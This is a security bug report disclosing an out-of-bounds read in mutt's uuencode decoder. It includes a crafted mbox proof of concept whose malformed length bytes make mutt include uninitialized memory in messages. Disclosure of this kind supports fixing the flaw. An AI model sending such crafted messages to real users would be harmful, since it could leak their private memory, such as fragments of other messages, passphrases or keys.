SECURITY: mutt_decode_uuencoded() can read past the of the input line

Hello, In mutt_decode_uuencoded(), the line length is read from the untrusted uuencoded part without validation. This could result in including private memory in message parts, for example fragments of other messages, passphrases or keys in replys.

Reproduce with the following mbox, note that these are literal 0x9f bytes. This should show some uninitialized garbage in the message.

From taviso  Thu Mar 31 16:53:55 2022
From: taviso
Subject: mutt_decode_uuencoded test
Content-Disposition: inline
Content-Transfer-Encoding: x-uuencode
Content-Type: text/plain

begin 644 test
<9f>
M2&5L;&\L"@I)9B!Y;W4@87)E(')E861I;F<@=&AI<R!M97-S86=E(&EN(&UU
M='0L('1H92!N97AT(&QI;F4*<VAO=6QD(&-O;G1A:6X@9V%R8F%G92X*"@H*
<9f>
54&QE87-E(')E<&QY+`I4879I<RX*
`
end.